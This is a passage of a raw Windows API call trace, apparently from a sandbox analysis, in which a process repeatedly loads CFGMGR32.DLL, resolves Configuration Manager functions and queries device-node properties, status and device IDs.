(hEvent=0x248) returned 1 [0184.755] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.755] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.756] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.757] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.757] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.757] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.762] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.762] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.763] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.763] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.764] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.764] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.764] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.765] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.765] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.766] malloc (_Size=0x18) returned 0x196ef0d1fe0 [0184.766] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0184.767] malloc (_Size=0x48) returned 0x196ef0fb220 [0184.767] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4efc30ae, dwHighDateTime=0x1d9eb0c)) [0184.767] SetEvent (hEvent=0x248) returned 1 [0184.773] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.773] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.780] malloc (_Size=0x18) returned 0x196ef0d1c40 [0184.780] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0184.781] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0184.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4efe8c7f, dwHighDateTime=0x1d9eb0c)) [0184.781] SetEvent (hEvent=0x248) returned 1 [0184.955] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.956] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.957] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.957] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.957] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.957] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.957] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.957] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.957] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.957] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.957] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.958] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.958] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.958] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.958] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.958] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.958] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.958] malloc (_Size=0x18) returned 0x196ef0d1a20 [0184.958] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0184.961] malloc (_Size=0x48) returned 0x196ef0fb900 [0184.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4f18bb9a, dwHighDateTime=0x1d9eb0c)) [0184.961] SetEvent (hEvent=0x248) returned 1 [0184.965] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.965] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.967] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.967] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0184.968] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x17, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0184.968] malloc (_Size=0x48) returned 0x196ef0fb310 [0184.968] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x4f1b1f72, dwHighDateTime=0x1d9eb0c)) [0184.968] SetEvent (hEvent=0x248) returned 1 [0184.971] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.971] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.972] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.972] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.972] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.972] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.972] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.972] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.972] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.972] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.972] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.973] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.973] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.973] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.973] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.973] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.973] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.973] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.973] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.973] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.974] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0184.974] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x17, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0184.974] malloc (_Size=0x48) returned 0x196ef0fb860 [0184.974] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x4f1b1f72, dwHighDateTime=0x1d9eb0c)) [0184.974] SetEvent (hEvent=0x248) returned 1 [0184.977] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.977] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.979] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.979] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.979] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.979] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.979] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.979] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.980] malloc (_Size=0x18) returned 0x196ef0d1da0 [0184.980] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0184.980] malloc (_Size=0x48) returned 0x196ef0fbc70 [0184.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4f1d83ef, dwHighDateTime=0x1d9eb0c)) [0184.981] SetEvent (hEvent=0x248) returned 1 [0184.984] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.984] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.984] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.984] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.987] malloc (_Size=0x18) returned 0x196ef0d1a20 [0184.987] CM_Get_Device_IDA (in: dnDevInst=0x18, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\PRINTENUM\\{912728E5-D154-4F13-870E-3FDAEBB239BC}") returned 0x0 [0184.987] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0184.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x4f1d83ef, dwHighDateTime=0x1d9eb0c)) [0184.987] SetEvent (hEvent=0x248) returned 1 [0184.989] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.989] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.992] malloc (_Size=0x18) returned 0x196ef0d1d20 [0184.992] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0184.992] malloc (_Size=0xe6) returned 0x196ef0d6890 [0184.993] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0184.993] free (_Block=0x196ef0d6890) [0184.993] malloc (_Size=0x48) returned 0x196ef0fb590 [0184.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4f1d83ef, dwHighDateTime=0x1d9eb0c)) [0184.993] SetEvent (hEvent=0x248) returned 1 [0184.995] malloc (_Size=0x18) returned 0x196ef0d20a0 [0184.995] SafeArrayPutElement (psa=0x196ee7bf6e0, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0184.995] free (_Block=0x196ef0d20a0) [0184.995] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0184.995] SafeArrayPutElement (psa=0x196ee7bf6e0, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0184.995] free (_Block=0x196ef0d1bc0) [0184.996] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0184.996] SafeArrayPutElement (psa=0x196ee7bf6e0, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0184.996] free (_Block=0x196ef0d1ac0) [0184.996] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855c60 [0184.996] SafeArrayGetDim (psa=0x196ee7bf6e0) returned 0x1 [0184.996] SafeArrayGetLBound (in: psa=0x196ee7bf6e0, nDim=0x1, plLbound=0x67117d3a0 | out: 